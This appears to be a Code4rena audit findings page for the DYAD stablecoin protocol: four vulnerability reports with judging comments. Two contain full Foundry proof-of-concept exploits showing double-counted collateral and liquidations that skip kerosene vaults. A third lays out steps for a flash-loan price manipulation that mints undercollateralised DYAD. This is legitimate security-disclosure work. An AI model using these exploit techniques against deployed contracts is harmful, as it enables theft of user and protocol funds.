Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 3/183
Findings: 4
Award: $978.02
๐ Selected for report: 0
๐ Solo Findings: 0
๐ Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L93-L94
By adding a vault as both KerosineVault and Vault, users collateralRatio is 1:1, but protocol thinks it is 2:1.
Now, when price of collateral drops and collateralRatio is less than 100%(not even 150%), protocol still thinks position is healthy.
From the Deploy.V2.s.sol script, we can see that ethVault and wsteth vault are both added in vaultLicenser and kerosineManager. This allows users to both add
and addKerosene
either of the vaults,guaranteeing that this bug will surface.
Likelihood: High, Impact: High. Severity: High
Here is a test case that demonstrates this bug. Check "Full Proof of Concept test file" section of this report to copy and run the full test file:
function test_add_as_vault_and_kerosineVault() public { uint id1 = mintDNft(alice); uint id2 = mintDNft(bob); uint amount = 100 ether; vm.startPrank(alice); vaultManagerV2.add(id1, address(daiVault)); vaultManagerV2.addKerosene(id1, address(daiVault)); dai.mint(alice, amount); dai.approve(address(vaultManagerV2), amount); vaultManagerV2.deposit(id1, address(daiVault), amount); //User mints equivalent amount of collateral he deposited. vaultManagerV2.mintDyad(id1, amount, alice); //he won't get liquidated even when price of his collateral drops daiOracle.setPrice(9e7); vm.stopPrank(); //grant bob some dyad for liquidation deal(address(dyad), address(bob), amount); vm.expectRevert(); vm.prank(bob); vaultManagerV2.liquidate(id1, id2); }
Here is what happened in the coded PoC:
add
and addKerosene
that vaultCreate a new test file under "test" folder and copy in the following. Run with forge test --match-test test_add_as_vault_and_kerosineVault -vv
:
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol"; import {Parameters} from "../src/params/Parameters.sol"; import {DNft} from "../src/core/DNft.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Licenser} from "../src/core/Licenser.sol"; import {VaultManagerV2} from "../src/core/VaultManagerV2.sol"; import {Vault} from "../src/core/Vault.sol"; import {KerosineManager} from "../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol"; import {Payments} from "../src/periphery/Payments.sol"; import {OracleMock} from "./OracleMock.sol"; import {ERC20Mock} from "./ERC20Mock.sol"; import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol"; contract MockKerosineDenominator is Parameters { ERC20 public kerosine; constructor(ERC20 _kerosine) { kerosine = _kerosine; } function denominator() external view returns (uint) { return 1000000000000000000000000000 - 950841953470486444914439000; } } contract Whitehat is Test, Parameters { DNft dNft; Licenser vaultManagerLicenser; Licenser vaultLicenser; Dyad dyad; VaultManagerV2 vaultManagerV2; KerosineManager kerosineManager; UnboundedKerosineVault kerosineVault; Payments payments; // weth Vault wethVault; ERC20Mock weth; OracleMock wethOracle; // dai Vault daiVault; ERC20Mock dai; OracleMock daiOracle; ERC20Mock kerosine; address alice = address(1); address bob = address(2); function setUp() public { dNft = new DNft(); weth = new ERC20Mock("WETH-TEST", "WETHT"); wethOracle = new OracleMock(1000e8); Contracts memory contracts = new DeployBase().deploy( msg.sender, address(dNft), address(weth), address(wethOracle), GOERLI_FEE, GOERLI_FEE_RECIPIENT ); vaultManagerLicenser = contracts.vaultManagerLicenser; vaultLicenser = contracts.vaultLicenser; dyad = contracts.dyad; payments = contracts.payments; vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser); //create the wethVault wethVault = new Vault( vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)) ); // create the DAI vault dai = new ERC20Mock("DAI-TEST", "DAIT"); daiOracle = new OracleMock(1e8); daiVault = new Vault( vaultManagerV2, ERC20(address(dai)), IAggregatorV3(address(daiOracle)) ); kerosine = new ERC20Mock("KEROSINE", "KER"); kerosineManager = new KerosineManager(); vaultManagerV2.setKeroseneManager(kerosineManager); kerosineVault = new UnboundedKerosineVault( vaultManagerV2, kerosine, dyad, kerosineManager ); MockKerosineDenominator kerosineDenominator = new MockKerosineDenominator( kerosine ); kerosineVault.setDenominator( KerosineDenominator(address(kerosineDenominator)) ); //add vaultManagerV2 to vaultLicenser vm.prank(vaultManagerLicenser.owner()); vaultManagerLicenser.add(address(vaultManagerV2)); // add the DAI vault vm.startPrank(vaultLicenser.owner()); vaultLicenser.add(address(daiVault)); vaultLicenser.add(address(wethVault)); vaultLicenser.add(address(kerosineVault)); vm.stopPrank(); //add the kerosine vault kerosineManager.add(address(daiVault)); kerosineManager.add(address(wethVault)); } function test_add_as_vault_and_kerosineVault() public { uint id1 = mintDNft(alice); uint id2 = mintDNft(bob); uint amount = 100 ether; vm.startPrank(alice); vaultManagerV2.add(id1, address(daiVault)); vaultManagerV2.addKerosene(id1, address(daiVault)); dai.mint(alice, amount); dai.approve(address(vaultManagerV2), amount); vaultManagerV2.deposit(id1, address(daiVault), amount); //User mints equivalent amount of collateral he deposited. vaultManagerV2.mintDyad(id1, amount, alice); //he won't get liquidated even when price of his collateral drops daiOracle.setPrice(9e7); vm.stopPrank(); //grant bob some dyad for liquidation deal(address(dyad), address(bob), amount); vm.expectRevert(); vm.prank(bob); vaultManagerV2.liquidate(id1, id2); } //helpers function mintDNft(address who) public returns (uint) { return dNft.mintNft{value: 1 ether}(who); } }
Manual Review
TotalCollateralValue or totalUsdValue of a user should be calculated by iterating through and summing the values in vaults listed in the user's vaults[id] and vaultsKerosene[id] mapping.
If the current vault in the iteration has been seen before, the value should not be readded and loop should be continue
d
Error
#0 - c4-pre-sort
2024-04-28T06:47:50Z
JustDravee marked the issue as duplicate of #105
#1 - c4-pre-sort
2024-04-29T09:06:29Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T11:37:18Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - Emedudu
2024-05-16T12:00:27Z
Hi @koolexcrypto , This issue was incorrectly duped to issue #105 , which is an invalid issue.
Can you take another look at this issue please?
I believe this is a high severity issue, as the likelihood is certain(100% likelihood), and the impact is a significant theft or loss of funds.
Here are some issues which I believe are valid duplicates of this issue: #1130 #464 #243 #220 #124
Edit... The issues mentioned above, including this issue(#1142) are duplicates of #966
#4 - koolexcrypto
2024-05-22T15:42:28Z
Hi @Emedudu
Thank you for your feedback.
This seems to be valid and a dup of #872.
#5 - Emedudu
2024-05-28T10:30:04Z
Hello @koolexcrypto , Just want to make sure you didn't omit this
#6 - c4-judge
2024-05-28T15:16:32Z
koolexcrypto removed the grade
#7 - c4-judge
2024-05-28T15:16:36Z
koolexcrypto marked the issue as not a duplicate
#8 - c4-judge
2024-05-28T15:16:50Z
koolexcrypto marked the issue as duplicate of #1133
#9 - c4-judge
2024-05-29T07:07:18Z
koolexcrypto marked the issue as satisfactory
๐ Selected for report: 0xAlix2
Also found by: 0x175, 0x486776, 0xnev, 3docSec, 3th, Aamir, Abdessamed, AlexCzm, Angry_Mustache_Man, Circolors, DedOhWale, Emmanuel, Giorgio, Honour, Jorgect, KupiaSec, Maroutis, Myrault, SBSecurity, Stefanov, T1MOH, VAD37, Vasquez, adam-idarrha, alix40, ducanh2706, falconhoof, iamandreiski, ke1caM, kennedy1030, koo, lian886, ljj, miaowu, pontifex, sashik_eth, shikhar229169, vahdrak1
7.3026 USDC - $7.30
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L221-L226
As Liquidations do not deduct from kerosine vaults, Malicious user can open position that would cause liquidator to lose if he liquidates it. This leads to one of two scenarios:
Likelihood: Anyone can perform this attack-High Impact: Liquidator loses money to user or bad debt accrues in protocol-High Severity: High
Here is a test case that demonstrates this bug. Check "Full Proof of Concept test file" section of this report to copy and run the full test file:
function test_liquidation_never_touches_kerosine_vault() public { uint id1 = mintDNft(alice); uint id2 = mintDNft(bob); uint amount = 100 ether; vm.startPrank(alice); vaultManagerV2.add(id1, address(daiVault)); vaultManagerV2.addKerosene(id1, address(wethVault)); dai.mint(alice, amount); dai.approve(address(vaultManagerV2), amount); //for simplicity, assume wethPrice==daiPrice to escape having to calculate amount of weth to deposit based on the price of weth wethOracle.setPrice(1e8); weth.mint(alice, amount / 2); weth.approve(address(vaultManagerV2), amount / 2); vaultManagerV2.deposit(id1, address(daiVault), amount); vaultManagerV2.deposit(id1, address(wethVault), amount / 2); vaultManagerV2.mintDyad(id1, amount, alice); vm.stopPrank(); daiOracle.setPrice(9e7); //grant bob some dyad for liquidation deal(address(dyad), address(bob), amount); uint aliceTotalUsdValueBeforeLiquidation = vaultManagerV2 .getTotalUsdValue(id1); uint aliceMintedDyadBeforeLiquidation = dyad.mintedDyad( address(vaultManagerV2), id1 ); vm.prank(bob); vaultManagerV2.liquidate(id1, id2); uint aliceTotalUsdValueAfterLiquidation = vaultManagerV2 .getTotalUsdValue(id1); uint aliceMintedDyadAfterLiquidation = dyad.mintedDyad( address(vaultManagerV2), id1 ); console.log( "Alice Collateral Value Before Liquidation: ", aliceTotalUsdValueBeforeLiquidation ); console.log( "Alice Collateral Value After Liquidation: ", aliceTotalUsdValueAfterLiquidation ); console.log( "Difference in collateral: ~$", (aliceTotalUsdValueBeforeLiquidation - aliceTotalUsdValueAfterLiquidation) / 1 ether ); console.log( "------------------------------------MEANWHILE...------------------------------------" ); console.log( "Alice Minted Dyad Before Liquidation: ", aliceMintedDyadBeforeLiquidation ); console.log( "Alice Minted Dyad After Liquidation: ", aliceMintedDyadAfterLiquidation ); console.log( "Difference in Dyad debt: ~$", (aliceMintedDyadBeforeLiquidation - aliceMintedDyadAfterLiquidation) / 1 ether ); console.log( "--------------------------------------------------------------------------------------" ); console.log( "In Summary, Bob the Liquidator paid more value($100) than he received($69), even though Alice had enough collateral in her kerosine vault to compensate Bob. In reality, liquidators won't want to do this, leading to accrual of bad debt" ); }
Here is what the coded PoC does:
In reality, liquidators won't want to be at a loss, so they won't want to liquidate Alice, leading to accrual of bad debt.
Create a new test file under "test" folder and copy in the following. Run with forge test --match-test test_liquidation_never_touches_kerosine_vault -vv
:
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol"; import {Parameters} from "../src/params/Parameters.sol"; import {DNft} from "../src/core/DNft.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Licenser} from "../src/core/Licenser.sol"; import {VaultManagerV2} from "../src/core/VaultManagerV2.sol"; import {Vault} from "../src/core/Vault.sol"; import {KerosineManager} from "../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol"; import {Payments} from "../src/periphery/Payments.sol"; import {OracleMock} from "./OracleMock.sol"; import {ERC20Mock} from "./ERC20Mock.sol"; import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol"; contract MockKerosineDenominator is Parameters { ERC20 public kerosine; constructor(ERC20 _kerosine) { kerosine = _kerosine; } function denominator() external view returns (uint) { return 1000000000000000000000000000 - 950841953470486444914439000; } } contract Whitehat is Test, Parameters { DNft dNft; Licenser vaultManagerLicenser; Licenser vaultLicenser; Dyad dyad; VaultManagerV2 vaultManagerV2; KerosineManager kerosineManager; UnboundedKerosineVault kerosineVault; Payments payments; // weth Vault wethVault; ERC20Mock weth; OracleMock wethOracle; // dai Vault daiVault; ERC20Mock dai; OracleMock daiOracle; ERC20Mock kerosine; address alice = address(1); address bob = address(2); function setUp() public { dNft = new DNft(); weth = new ERC20Mock("WETH-TEST", "WETHT"); wethOracle = new OracleMock(1000e8); Contracts memory contracts = new DeployBase().deploy( msg.sender, address(dNft), address(weth), address(wethOracle), GOERLI_FEE, GOERLI_FEE_RECIPIENT ); vaultManagerLicenser = contracts.vaultManagerLicenser; vaultLicenser = contracts.vaultLicenser; dyad = contracts.dyad; payments = contracts.payments; vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser); //create the wethVault wethVault = new Vault( vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)) ); // create the DAI vault dai = new ERC20Mock("DAI-TEST", "DAIT"); daiOracle = new OracleMock(1e8); daiVault = new Vault( vaultManagerV2, ERC20(address(dai)), IAggregatorV3(address(daiOracle)) ); kerosine = new ERC20Mock("KEROSINE", "KER"); kerosineManager = new KerosineManager(); vaultManagerV2.setKeroseneManager(kerosineManager); kerosineVault = new UnboundedKerosineVault( vaultManagerV2, kerosine, dyad, kerosineManager ); MockKerosineDenominator kerosineDenominator = new MockKerosineDenominator( kerosine ); kerosineVault.setDenominator( KerosineDenominator(address(kerosineDenominator)) ); //add vaultManagerV2 to vaultLicenser vm.prank(vaultManagerLicenser.owner()); vaultManagerLicenser.add(address(vaultManagerV2)); // add the DAI vault vm.startPrank(vaultLicenser.owner()); vaultLicenser.add(address(daiVault)); vaultLicenser.add(address(wethVault)); vaultLicenser.add(address(kerosineVault)); vm.stopPrank(); //add the kerosine vault kerosineManager.add(address(daiVault)); kerosineManager.add(address(wethVault)); } function test_liquidation_never_touches_kerosine_vault() public { uint id1 = mintDNft(alice); uint id2 = mintDNft(bob); uint amount = 100 ether; vm.startPrank(alice); vaultManagerV2.add(id1, address(daiVault)); vaultManagerV2.addKerosene(id1, address(wethVault)); dai.mint(alice, amount); dai.approve(address(vaultManagerV2), amount); //for simplicity, assume wethPrice==daiPrice to escape having to calculate amount of weth to deposit based on the price of weth wethOracle.setPrice(1e8); weth.mint(alice, amount / 2); weth.approve(address(vaultManagerV2), amount / 2); vaultManagerV2.deposit(id1, address(daiVault), amount); vaultManagerV2.deposit(id1, address(wethVault), amount / 2); vaultManagerV2.mintDyad(id1, amount, alice); vm.stopPrank(); daiOracle.setPrice(9e7); //grant bob some dyad for liquidation deal(address(dyad), address(bob), amount); uint aliceTotalUsdValueBeforeLiquidation = vaultManagerV2 .getTotalUsdValue(id1); uint aliceMintedDyadBeforeLiquidation = dyad.mintedDyad( address(vaultManagerV2), id1 ); vm.prank(bob); vaultManagerV2.liquidate(id1, id2); uint aliceTotalUsdValueAfterLiquidation = vaultManagerV2 .getTotalUsdValue(id1); uint aliceMintedDyadAfterLiquidation = dyad.mintedDyad( address(vaultManagerV2), id1 ); console.log( "Alice Collateral Value Before Liquidation: ", aliceTotalUsdValueBeforeLiquidation ); console.log( "Alice Collateral Value After Liquidation: ", aliceTotalUsdValueAfterLiquidation ); console.log( "Difference in collateral: ~$", (aliceTotalUsdValueBeforeLiquidation - aliceTotalUsdValueAfterLiquidation) / 1 ether ); console.log( "------------------------------------MEANWHILE...------------------------------------" ); console.log( "Alice Minted Dyad Before Liquidation: ", aliceMintedDyadBeforeLiquidation ); console.log( "Alice Minted Dyad After Liquidation: ", aliceMintedDyadAfterLiquidation ); console.log( "Difference in Dyad debt: ~$", (aliceMintedDyadBeforeLiquidation - aliceMintedDyadAfterLiquidation) / 1 ether ); console.log( "--------------------------------------------------------------------------------------" ); console.log( "In Summary, Bob the Liquidator paid more value($100) than he received($69), even though Alice had enough collateral in her kerosine vault to compensate Bob. In reality, liquidators won't want to do this, leading to accrual of bad debt" ); } //helpers function mintDNft(address who) public returns (uint) { return dNft.mintNft{value: 1 ether}(who); } }
Manual Review
Liquidation should also deduct collateral from kerosine vaults
Error
#0 - c4-pre-sort
2024-04-28T10:23:00Z
JustDravee marked the issue as duplicate of #128
#1 - c4-pre-sort
2024-04-29T09:03:36Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:41:22Z
koolexcrypto marked the issue as satisfactory
๐ Selected for report: carrotsmuggler
Also found by: Al-Qa-qa, Emmanuel, TheFabled, TheSavageTeddy, ZanyBonzy, adam-idarrha, alix40, lian886
746.4915 USDC - $746.49
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L205-L228
Protocol prevents flashloan attacks by not allowing withdraw in the same block that deposit was made.
By following steps outlined in PoC, user can use liquidate function as a backdoor to withdraw.
This allows the user to inflate kerosine price, deposit some kerosine to unboundedKerosineVault, and mint against it.
Likelihood: Anyone can perform attack-High Impact: User inflates kerosine price and mints dyad against it-High Severity: High
Deposit some collateral with contractA(but don't yet mint any dyad)
Grant ContractB some kerosine
In a single transaction:
At this point, price of a kerosine has been manipulated and is now very high
Note: Not all the collateral would be liquidated because collatRatio of contractB was slightly less than 150%. We can use our funds to pay back the leftover of the flashloan, and then withdraw from vaultManagerV2 in the next block.
In between step 3B and 3C, where kerosine price is very high(say 2x its original value),
At the end of the transaction, kerosine price is less than its original value(x), so ContractC becomes liquidatable.But now, the issue is, the collatRatio is less than 100%. In this case, it is 75%. Here is the math:
So essentially, attacker has stolen dyad from the protocol by inflating kerosine price, and minting more than he should have been allowed to.
Manual Review
Don't allow liquidating in the same transaction as it can be used as a backdoor for withdraw. The same check done in withdraw and deposit functions can be implemented in liquidate. idToBlockOfLastDeposit of the id being liquidated should be checked to not ==block.number
Invalid Validation
#0 - c4-pre-sort
2024-04-28T19:23:49Z
JustDravee marked the issue as duplicate of #68
#1 - c4-pre-sort
2024-04-29T09:06:23Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T13:25:36Z
koolexcrypto changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-05-11T12:13:58Z
koolexcrypto marked the issue as satisfactory
#4 - c4-judge
2024-05-28T09:57:10Z
koolexcrypto changed the severity to 3 (High Risk)
๐ Selected for report: SBSecurity
Also found by: AlexCzm, Emmanuel, Stefanov, carlitox477, carrotsmuggler, d3e4, grearlake, peanuts
223.9474 USDC - $223.95
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L217-L226
Liquidators are not receiving what was intended by protocol
From the Notion Documentation, under Liquidation and Redemption, it was stated:
"If a Noteโs collateral value in USD drops below 150% of its DYAD minted balance, it faces liquidation. The liquidator burns a quantity of DYAD equal to the target Noteโs DYAD minted balance, and in return receives an equivalent value plus a 20% bonus of the target Noteโs backing colateral, which the liquidator can direct to any other Note, usually their own. The target keeps the remainder of their collateral, if any. "
But this is not what was implemented in the code. The formula for liquidation implemented in the code is:
(collatRatio+4)*collateral/(5*collatRatio)
which produces the following curve:
For example, Assume collPrice==dyadPrice
In the code, Bob receives:
Manual Review
Liquidation logic should be modified to give liquidators 120% ofDYAD they are repaying
Error
#0 - c4-pre-sort
2024-04-28T19:22:43Z
JustDravee marked the issue as duplicate of #75
#1 - c4-pre-sort
2024-04-29T11:59:05Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T12:12:09Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-28T19:22:09Z
koolexcrypto marked the issue as duplicate of #982